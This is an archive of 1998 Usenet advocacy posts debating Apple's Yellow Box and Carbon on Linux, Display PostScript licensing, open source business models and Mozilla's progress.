References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com> <anarkhos-ya02408000R0912980058290001@news>
In-Reply-To: <anarkhos-ya02408000R0912980058290001@news>
On 12/08/98, strobe wrote:
>In article <366E28DA.7541CD0B@trilithon.com>, Henry McGilton
><henry@trilithon.com> wrote:
>
>> strobe wrote:
>> * Regarding the idea of yellow box for Linux.
>> * 1) Yellow box isn't going to be free.
>> Where do you get your information from? You have a private and
>> personal conduit into Apple these days?
>
> Every OpenStep developer knows Stepwise. This information isn't
private,
>I have no idea where you got that idea from.
>
Just to clarify..
YB won't be free until we get rid of the encumberance of
DPS/Adobe.
Until that time, we'll be paying something on the order of $20
for YB licenses... this according to Apple at WWDC (and since)
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple's OS X Server web page hidden?
Date: 10 Dec 1998 04:37:52 GMT
Organization: Digital Fix Development
Message-ID: <74nj70$bfo$1@news.digifix.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <74m666$fuj@shelob.afs.com> <913230061.688099@watserv4.uwaterloo.ca> <74mnbq$hfo@shelob.afs.com> <74mre3$3aa$1@your.mother.com>
In-Reply-To: <74mre3$3aa$1@your.mother.com>
On 12/09/98, "Todd Heberlein (todd at NetSQ dot com)" wrote:
>Greg Anderson wrote in message
>>Anyway, you're reading waaaaay too much into what I wrote.
>>I was simply stating a fact: Aside from standard developer mailings
>>that everyone gets -- and which never mention OSXS anymore --
>
>I think the de-emphasizing of OS X Server is now going beyond the
>mailings.
>
>About once or twice a week I hit Apple's developer page at
> http://www.apple.com/developer/
>and then usually hit the MacOS X Server page from there by (what I
think
>I remember) selecting MacOS X Server from "Resources by Platform"
pull
>down menu.
>
>Today I could not find the "Server" version mentioned and had to go
>directly to the full "MacOS X" page first. Only from there could I
hit
>the MacOS X *Server* page.
>
>It could be my fogged brain, but then again...
Seems like a natural place for it acutally, since its
essentially the "server" version of the same OS.
I'd rather they tied it in with Mac OS X as TIGHTLY as they
can, since they aren't going to kill Mac OS X.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,alt.os.multics
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 05:00:39 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nkhn$f1p$29@blue.hex.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net> <366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net>
NNTP-Posting-Date: 10 Dec 1998 05:00:39 GMT
On Tue, 8 Dec 1998 20:20:42 GMT, Maury Markowitz
<maury@remove_this.istar.ca> wrote:
>In <366D5941.F16608B5@ericsson.com> Michael Peck wrote:
>> I would guess that you meant to qualify "generally effective system".
>> Open Source systems are not "generally effective" for certain tasks or
>> for certain people. However, I assure you, Open Source system are quite
>> "generally effective" for a great many needs. Did you mean to say that
>> they weren't "generally effective" as certain types of end-user
>> desktops?
>
> No, nothing of the sort, in fact I'd say the few years they've been
>around have proven them more able to work under a wider variety of
>situations. With massive computing power available for $1000, it pays to
>start big and scale down.
This is indeed a substantial advantage that Linux has had. Being based
on the "industral strength" UNIX design that was itself a scaled-down
"emulation" of an even more ambitious design, namely Multics, provides a
*VASTLY* more robust platform *by design* than you get by the Microsoft
attempts to evolve CP/M into a robust platform.
People from the "36 bit" world likely regard the 32 bit stuff that most
of us use today as somewhat half-baked; the move to 64 bits that largely
provides physical/virtual address space expansion without making
"logical" use of any of those extra bits is quite disappointing.
The lots of extra bits could provides some support for architectural
support garbage collection or (and I only vaguely understand this)
*real* use of segmentation in Multics style. There's lots of extra
bits; lots of opportunity to do "cool stuff."
> What I was referring to is OpenSource as a development systemology.
>OpenSource has basically one successful product, Linux. Prior to that
>there have been a wide variety of open source projects that went nowhere.
>There have been a wide variety that have gone nowhere after it too.
>OpenSource have not proven itself to work in a general way.
Emacs, GCC, Perl, and Apache are all substantial systems based on the
same general "Open Source" methodology that I would regard as
"successes."
The fact that they don't trumpet themselves as being tools that are
useful with "No Assembly Required" does not deny that they have proven
highly useful in their respective contexts.
> Thus claiming that if Apple OpenSourced the OS it would suddenly be
>successful is premature. The whole field needs more time to work before
>anyone will have any sort of predicitve powers about what will happen if
>you open software.
The task of building embedded systems, which is, in great part, what
Apple has tried to do with MacOS, is quite different from the highly
customizable "systems integration" environment that UNIX provides.
The most successful Open Source projects have tended to be projects
surrounding things that are not "products," but rather may be regarded
as "tools."
It would not be insensible for Apple to try to build something on that
basis.
>> Saying that Open Source could save Apple is premature. Saying that Apple
>> needs saving is not.
>
> Although the later may be "post-mature".
:-)
--
I develop for Linux for a living, I used to develop for DOS. Going
from DOS to Linux is like trading a glider for an F117. (By
entropy@world.std.com, Lawrence Foard)
cbbrowne@hex.net- <http://www.hex.net/~cbbrowne/oses.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 05:00:15 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nkgv$f1p$19@blue.hex.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com>
NNTP-Posting-Date: 10 Dec 1998 05:00:15 GMT
On 8 Dec 1998 16:25:45 GMT, gupta@knim.tm.tta.moc-mirror after @
<gupta@knim.tm.tta.moc-mirrorafter@> wrote:
>Sheldon Gartner <a1050pi@yahoo.com> wrote:
>
>>If Apple were to make YB (or OpenStep or the OSX upper level stuff)
>>open source and provide it to the Linux community, that would make
>>Apple's future viable again. Otherwise, they're goose is cooked.
>
>a. What is it that Apple would be selling to run their business ?
Applications written using YB.
>b. If Apple sold YB for Linux like Oracle is providing its
> database (not open source), would that be a better business
> model ?
The problem here is the issue of *trust.* Apple has a fairly long
history of discontinuing technologies that they have decided are no
longer strategic *to them,* despite the fact that the technologies are
strategic to others. (Newton is the clearest example of this, but GX,
OpenDoc, DPS, and Dylan are also examples to varying degrees. And Adobe
may be considered the "evil party" with respect to DPS, and Apple a
victim, but I digress...)
--
+#if defined(__alpha__) && defined(CONFIG_PCI)
+ /*
+ * The meaning of life, the universe, and everything. Plus
+ * this makes the year come out right.
+ */
+ year -= 42;
+#endif
(From the patch for 1.3.2: (kernel/time.c), submitted by Marcus Meissner)
cbbrowne@ntlug.org- <http://www.ntlug.org/~cbbrowne/xgnustep.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 05:00:13 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nkgt$f1p$18@blue.hex.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net>
NNTP-Posting-Date: 10 Dec 1998 05:00:13 GMT
On Tue, 8 Dec 1998 15:27:50 GMT, Maury Markowitz
<maury@remove_this.istar.ca> wrote:
>In
><DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.ne
>t> Sheldon Gartner wrote:
>> I really hope Apple doe that, because whichever company takes the
>> long-term approach rather than the short-term approach will be
>> well-rewarded.
>
> Come no, OpenSource as a concept has been around for mere years, calling
>this the long term view is premature. OpenSource is big because it's
>riding the popularity of Linux and gaining mindshare via that route.
>However it has yet to demonstrate itself as a generally effective system,
>and basically can't until a few more years have passed.
The fact that the average home and office computer is now powerful
enough to use the traditional UNIX "source available" code is, perhaps
understating some effects, what has made Linux popular.
It is quite clear that, for "tinkerers," Open Source code is a very
powerful notion, as it allows almost infinite customization.
It is not nearly so obvious that Open Source is useful for constructing
"appliances," which is the *other* direction of computing.
>> If Apple were to make YB (or OpenStep or the OSX upper level stuff)
>> open source and provide it to the Linux community, that would make
>> Apple's future viable again. Otherwise, they're goose is cooked.
>
> This is certainly premature.
It is a bit myopic, in providing only a single method for "keeping Apple
from the oven."
It is nonetheless not an outrageous idea to suggest that Apple needs to
make some reasonably creative and strategic decisions in order to avoid
the "death via a million papercuts" from Microsoft.
- The notion of trying to ride along with Linux's popularity via making
YB usable on Linux as an application framework is certainly not
outrageous.
- Further, no one is likely to be willing to trust to a continued
committment to "YB on Linux" without Apple taking a committment similar
to providing some portion of YB in an "Open Source" form.
After all, organizations have periodically been injured by the
discontinuation of such things as DPS, GX (does anyone come to mind for
this one? :-)), Newton, Dylan, and OpenDoc. I sure wouldn't bet a
million dollars of *my* money on any promises from Apple to continue to
support "YB on Linux" without having access to YB sources to back up
that investment...
--
"Few people are capable of expressing with equanimity opinions which
differ from the prejudices of their social environment. Most people are
even incapable of forming such opinions." (Albert Einstein)
cbbrowne@ntlug.org- <http://www.ntlug.org/~cbbrowne/lsf.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 05:00:31 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nkhf$f1p$25@blue.hex.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com>
<366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net>
NNTP-Posting-Date: 10 Dec 1998 05:00:31 GMT
On Tue, 08 Dec 1998 20:17:27 GMT, J. Maynard Gelinas
<maynard@mr-gateway.internal.net> wrote:
> Sidenote: Apple would do themselves a _BIG_ favor by helping or
>funding development of XDGS with the GNUSTEP team. Display
>Ghostscript could be Apple's way out of their dependency on Adobe.
>Since Adobe seems committed to killing DPS it's only reasonable that
>Apple should look for some alternative which doesn't require runtime
>licensing fees.
>
> Please correct me if I'm wrong here, but wouldn't a YB port to
>Linux require display postscript? So either Apple would have to get
>Adobe to port the DPS X-extension to one of the commercial Linux X
>servers (fat chance!), or they would have to interoperate with
>XDGS/Xfree86. I doubt the Xfree86/XDGS solution would cause any
>licensing problems, but Apple's corporate culture may balk at this
>option.
The problem is not of a licensing issue for running YB on Linux atop
DGS.
The problem is nicely cross-platform, in that Adobe is "killing" DPS
support on *ALL* platforms.
DGS would appear to be a nice solution to this as a Display Postscript
implementation that Adobe doesn't control that is "freely usable." It
would be a "really cool" idea for Apple to drop $1M into the development
of DGS so as to make DGS usable on Win32, X, MacOS, and even OS-X.
Unfortunately, the integration effort required to get the various
backends to play nicely with the non-X systems is quite likely to run
afoul of the GPL. It is arguable, for instance, that building DGS into
OS-X could require GPLing all of OS-X.
I would like to speculate that a large enough briefcase stuffed full of
money could convince Aladdin Software to do a suitable release of code
for Apple purposes. I have in the past heard indication via private
email to the contrary.
DGS is a nice solution for grappling with the "but we want to run it on
Linux" problem. It would be nice if it could present a similarly nice
solution to the "...and on all the other platforms..." part of that.
The last email exchange I had on the matter indicated that the latter
was not likely.
--
"I will not send lard through the mail" ^ 100 -- Bart Simpson
cbbrowne@hex.net- <http://www.ntlug.org/~cbbrowne/xgnustep.html>
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<74ho9a$fp3$1@nnrp1.dejanews.com> <smileyy-0712982013190001@209.50.122.242>
<anarkhos-ya02408000R0812982257100001@news> <Dipb2.601$L52.156@news.rdc1.ne.home.com>
<anarkhos-ya02408000R0912980010370001@news> <FIiROLCWddLd-pn2-4NZwWR6hjEvd@localhost>
Message-ID: <VLIb2.628$L52.254@news.rdc1.ne.home.com>
Date: Thu, 10 Dec 1998 05:13:25 GMT
NNTP-Posting-Date: Wed, 09 Dec 1998 21:13:25 PDT
Organization: @Home Network
In <FIiROLCWddLd-pn2-4NZwWR6hjEvd@localhost> taiQ wrote:-> market, or any
other strategic importance to that matter? Or is the
> anti-establishment material feeling the heat and getting ready to
> migrate to greener pastures, such as GNU/Hurd? :-)
I'm really looking forward to the day when the Hurd will be usable and the
FSF brings better computing to the opressed masses, comrade.
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net>
<74l1br$i65@news1.panix.com> <H_ob2.599$L52.167@news.rdc1.ne.home.com>
<74mfsc$rh6@newsb.netnews.att.com>
Message-ID: <hNIb2.629$L52.254@news.rdc1.ne.home.com>
Date: Thu, 10 Dec 1998 05:14:53 GMT
NNTP-Posting-Date: Wed, 09 Dec 1998 21:14:53 PDT
Organization: @Home Network
In <74mfsc$rh6@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after @
wrote:-
> I can't imagine a large Wall Street firm or bank assembling PCs for
> themselves if they decide to use Linux.-
You can buy a box with linux preinstalled from Dell, and I'm sure others will
follow their lead.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 10 Dec 1998 05:11:46 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nl6i$fdc$6@blue.hex.net>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <smileyy-0912981134080001@209.50.122.242>
NNTP-Posting-Date: 10 Dec 1998 05:11:46 GMT
On Wed, 09 Dec 1998 11:34:08 -0500, Andrew McCormick
<smileyy@esm-software.com> wrote:
>In article <74l1bv$i65@news1.panix.com>, sal@panix.com wrote:
>
>>Making NS opensource has not helped Netscape gain market share.
>
>Of course, NS hasn't had their first open-source release yet. If NS5 is
>as standards-compliant as a lot of people promise, then it should see a
>lot of adoption.
Indeed. The release of Version 5 will be quite keenly attended, as it
represents (arguably) the first ``mass market'' system that has been
released in Open Source form. I distinguish here from the vast majority
of other stuff that could be mistaken for "programmer tools;" Netscape
Navigator is somewhat unique as a sophisticated tool that tends to be
used by "unsophisticated endusers."
It is quite disappointing that the (nearly) nine months since the March
code release *hasn't* resulted in a formal "production" release,
although I quite understand that there has been some substantial
rearchitecture effort which has put off release.
--
"sic transit discus mundi"
(From the System Administrator's Guide, by Lars Wirzenius)
cbbrowne@ntlug.org- <http://www.ntlug.org/~cbbrowne/html.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 10 Dec 1998 05:12:04 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nl74$fdc$8@blue.hex.net>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74mb9n$535$1@inconnu.isu.edu>
NNTP-Posting-Date: 10 Dec 1998 05:12:04 GMT
On 9 Dec 1998 10:16:39 -0700, Craig Kelley <ink@inconnu.isu.edu> wrote:
>In article <74l1bv$i65@news1.panix.com>, Sal Denaro <sal@panix.com> wrote:
>
>->Prior to being opensourced, Netscape had a large following on
>->Linux. The only thing that changed after was that a number of
>->opensource browser projects were killed due to lack of interest.
>
>... that and the incredibly small, efficient NGlayout engines for
>different Linux graphical libraries (and every other OS under the
>sun). We're talking about < 1MB versions of Netscape that support
>XML, HTML 4.0 and everything but Java that loads FAST and spits out
>web pages VERY FAST.
>
>Nobody has seen a finished product of Netscape's opensource
>(www.mozilla.com) campaign yet, so how can YOU comment on its effect
>on the Linux community?
I'd hazard the comment that your assertions of the tininess of a
not-yet-released piece of software are as questionable as other peoples'
comments...
If NGLayout really is so tiny, and the Netscape "footprint" does indeed
wind up being under 1MB (which I find difficult to believe), this is
quite wonderful.
Unfortunately, the lack of releases discounts the value of any claims
either pro- or con-.
--
"Microsoft: The People who Brought the Y2K Bug into Software Titling"
-- cbbrowne@hex.net
cbbrowne@hex.net- <http://www.hex.net/~cbbrowne/html.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 05:11:42 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nl6e$fdc$4@blue.hex.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@n <Dipb2.601$L52.156@news.rdc1.ne.home.com> <74m87f$ipq@newsb.netnews.att.com>
NNTP-Posting-Date: 10 Dec 1998 05:11:42 GMT
On 9 Dec 1998 16:24:15 GMT, gupta@knim.tm.tta.moc-mirror after @
<gupta@knim.tm.tta.moc-mirrorafter@> wrote:
>Michael Lankton <satan@hell.home.com> wrote:
>
>>freely available, would I pay for a registered version? No, because the
>>minute Netscape announced they would be charging individual users for the
>>software several projects would spring up to bring a quality www browser to
>>the platform free for individual use, and one or more of the projects would
>>end up producing just that. Such is the nature of free software.
>
>So, where is the equivalent of Quicken for Linux ?
<http://www.me.umn.edu/~clolson/cbb/>
<http://www.gnucash.org/>
<http://www.cs.auc.dk/~lupus/xfinans.html>
<http://seanreilly.com/java/moneydance.html>
<http://www.hsdi.com/qddb/applications>
These are all relatively equivalent to Quicken's accounting
functionality.
None provide investment analysis or "integrated banking" (e.g. -
Intuit's "pay bills automagically" service).
--
"sic transit discus mundi"
(From the System Administrator's Guide, by Lars Wirzenius)
cbbrowne@ntlug.org- <http://www.ntlug.org/~cbbrowne/finances.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Business case for OpenCarbon
Date: 10 Dec 1998 05:12:08 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nl78$fdc$9@blue.hex.net>
References: <366DC928.16F3@bellatlantic.net> <EWpb2.1189$f97.1320@news.rdc1.sdca.home.com> <366EB83B.754F@bellatlantic.net>
NNTP-Posting-Date: 10 Dec 1998 05:12:08 GMT
On Wed, 09 Dec 1998 12:50:09 -0500, Jeffrey S. Dutky
<dutky@bellatlantic.net> wrote:
>Rex Riley wrote:
>>
>> Apple going OPENSOURCE with only their "Carbon" API's is too
>> little. Carbon, IIRC, are _only_ new calls implemented for
>> the Macintosh OS to replace old, crufty 16bit leftover stuff
>> from the Mac's early days. Carbon refers to the set of
>> replacement calls for older programs that enable existing
>> Macintosh applications to recompile to newer 32bit OSes.
>> Recompiles using Carbon API's amount to an hour's work for
>> older Macintosh programs.
>
>First Carbon does NOT "replace old, crufty 16bit leftover stuff"
>because the Mac NEVER had "16bit" stuff. The moniker 16-bit, as
>applied to operating systems, is purely a phenomenon of DOS and
>Windows, and is more a marketing gimmick than anything else.
>Further, if the moniker "32bit" has any more meaning than its
>sibling, the Mac has been a "32bit OS" since 1992, at the latest,
>when Apple implemented the 32-bit memory manager, which explicitly
>made use of all 32-bits in a memory address. Prior to that time,
>due to limitations of the 68000 chip, the top 8 bits of a memory
>address was unused.
Arguably there is a parallel insofar as "crufty 16 bit" generally
also referred to such limitations as:
- No memory protection,
- Single-tasking,
- Single-user,
in effect "single-a-whole-lot-of-stuff" that would be real nice to
virtualize.
Moves to "32 bits" have been important for the relief of those
restrictions, independent of the larger memory spaces and "bigger ints"
that 16-versus-32 obviously entails.
And Carbon seems to be trying to grapple with pretty much these sorts of
things, albeit without the horrible legacy of 64K segments that the
Intel/Microsoft/MS-DOS model had left the world with.
>> OPENSOURCE is a reasonable proposition for both the Linux
>> community and Apple to consider in growing their "client"
>> userbase. OPENSOURCE both the Mac API's + Carbon API's could
>> accomplish just that for both parties. Linux desktop users
>> would effectively link their desktop interests on the "client"
>> side with those of Macintosh users.
>
>Let's see if I can translate this:
>
> "By open sourceing carbon, Apple and the Linux community can
> expand their userbase in the home and business markets. (as
> distinguished from the server or education markets) The Linux
> community and Apple would then share common interests in these
> two markets."
And while this represents an interesting new direction, it is not clear
to me that this is a strategy that is *actually useful.*
It really takes both systems out of their known "areas of competence,"
with a need for codependence upon one another, so as to "attack" markets
that Microsoft has been tenaciously spending a lot of money on.
Cool idea, but I don't know that I believe it.
>This is, of course, just a partial restatement of the second
>paragraph from my original post:
>
> "What the Linux community SHOULD be pushing for, rather than a
> YB ported to Linux, is some support for porting Carbon to Linux.
> This would be good both for Linux and for Apple. It would
> instantly increase the potential market for any application
> ported to Carbon, and it would open up a huge software base to
> Linux users."
I have to question how it opens up a "huge software base to Linux
users." Doesn't the use of Carbon require some significant porting
efforts for those existing Mac apps? If so, then what it opens up is a
"huge software base that doesn't really exist yet."
Furthermore, I rather think this has to assume one of two
(questionable) things. Either:
a) Carbon runs as a seemingly "complete" environment such that you think
you're running on a Mac, only it's Linux. In effect, this means that
Linux plays an equivalent role to DOS and YB to Windows in the "good 'ol
days" of Windows 3.x.
This means that you *don't* have much integration with the Linux
environment sitting down below it.
Why would Apple want to promote this over selling a "complete
environment" that is running on their own hardware, and thereby making
Apple rather a lot more money? Unless what they really *want* to do is
to use Linux as a "DOS" to underly a "MacOS" GUI layer...
Why would Linux folk be interested in this?
Or
b) Carbon runs (say) as a layer mostly residing atop X, with the hope of
getting Drag'n'Drool functionality between Carbon apps and some
non-Carbon apps.
This cooperative approach is far more useful, but would be corresponding
far more problematic to implement, as Carbon has to be far more
subservient to other system components. *Certainly* more costly.
I'd like to think that this would be valuable enough for Apple to want
to do it, but if this system proves to be superior to a "native" Apple
system, this again argues for people *not* buying Apple systems (lost
money). Alternatively, if the "Carbon-on-Linux" environment looks
pretty kludgy, this makes Apple look bad.
I'm not sure there's a winning scenario *for Apple* here.
>> Big Picture issues I envision from such an OpenCarbon proposition
>> are impacts on Linux's "server" space, code development, resource
>> fragmentation and technology sharing agreements. There exists a
>> possible future YB scenario of Linux "open" desktops upgrading to
>> Apple "proprietary" MacOS X desktops.
>>
>> These side-effects are possible positive developments in the
>> Linux community. Linux with choices, cross-over options to an
>> O-O development environment, a modern desktop upgrade path, etc...
>>
>> Not clearly defined in your BusinessCase is what reciprocating
>> role Linux would play in Apple's marketplace...
>
>I think I pretty clearly defined the benefits to Apple of making
>the Carbon APIs available to the Linux community in paragraph
>four starting "The benefits of an Open Source carbon, to Apple,
>are several:" They include a larger developer base for the APIs
>themselves, a larger base of testers for the software on a wide
>range of platforms, ports to other platforms implemented at
>little or no cost, and a larger potential market for third party
>software written to the Carbon APIs.
I like this, but selling Carbon apps on Linux certainly requires more
deployment and testing effort for the producers of software. I presume
that deploying a "Linux Carbon" application on IA-32 would require
recompiling on a Linux box, right? Having to cope with Linux/Carbon as
well as NT/Carbon as well as MacOS-X/Carbon gives software vendors some
of the same headaches associated with trying to deploy Java code on a
diverse set of platforms. It's not impossible; it may be worthwhile;
there are certainly some costs associated with the diversity.
--
"Microsoft: The People who Brought the Y2K Bug into Software Titling"
-- cbbrowne@hex.net
cbbrowne@hex.net- <http://www.hex.net/~cbbrowne/lsf.html>
Date: Thu, 10 Dec 1998 00:26:44 -0500
From: smileyy@esm-software.com (Andrew McCormick)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Message-ID: <smileyy-1012980026450001@209.50.122.242>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74mb9n$535$1@inconnu.isu.edu> <74nl74$fdc$8@blue.hex.net>
Organization: DeadHorse Productions
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <74nl74$fdc$8@blue.hex.net>, cbbrowne@hex.net wrote:
>Unfortunately, the lack of releases discounts the value of any claims
>either pro- or con-.
Actually, you can get the Gecko engine as a nightly build from
mozilla.org, and see for yourself. It's only about a meg and a half for
Windows.
Andrew McCormick
--
smileyy@esm-software.com
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 10 Dec 1998 05:00:51 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nki3$f1p$32@blue.hex.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com>
<anarkhos-ya02408000R0812982236290001@news>
NNTP-Posting-Date: 10 Dec 1998 05:00:51 GMT
On Tue, 08 Dec 1998 22:36:29 -0800, strobe <anarkhos@anarchism.orgy> wrote:
>Regarding the idea of yellow box for Linux.
>
>1) Yellow box isn't going to be free. Licences have to be paid, probably
>$20. Linux users don't like paying for software. Not only because they are
>CHEAP, but there seems to be some principle involved not paying for
>software.
This is a distinct mischaracterization of the community.
--> The point to "free software" being "free" is *not* that software be
either free of cost (which would be a ludicrously incorrect assertion;
the production and distribution of software *obviously* involves costs,
outside of some "Star Trek Post-Economics" system that will never exist)
or of price.
The point is for the software not to deny the freedom of users.
Enforced license fees definitely represent a restriction of freedom, and
engender a sizable bureaucracy which is part of what is often rejected.
--> There are some of us that spend *more* on free software than we
would spend on non-free software.
There may be some cheap (due to being penniless) university students.
Penniless folk aren't a market to go after, whether they're using Linux,
and using intentionally free software, or whether they're using Windows,
and don't pay for the software that they copy from friends or office.
It is probably a fair assessment to say that there are Linux users that
*vocally* refuse to pay for software. Their counterparts in the Windows
(and likely Mac) communities are less vocal, in that there is relatively
less freely available software, thus mandating that a refusal to pay
leads to software "piracy."
[See: <http://www.hex.net/~cbbrowne/mspiracy.html>]
